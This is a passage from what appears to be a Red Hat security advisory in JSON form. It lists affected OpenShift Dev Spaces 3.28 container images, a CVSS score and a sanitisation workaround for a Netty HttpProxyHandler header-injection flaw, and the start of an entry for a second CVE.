"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
},
{
"category": "workaround",
"details": "Applications utilizing Netty\u0027s HttpProxyHandler must ensure that any user-controlled input used to populate outbound headers is rigorously sanitized to prevent CRLF injection. If comprehensive input sanitization cannot be implemented, restricting network access to the application that uses the HttpProxyHandler can reduce the attack surface.",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation"
},
{
"cve": "CVE-2026-42579",
"cwe": {
"id": "CWE-1286",
"name": "Improper Validation of Syntactic Correctness of Input"
},
"discovery_date": "2026-05-13T19:01:25.062732+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
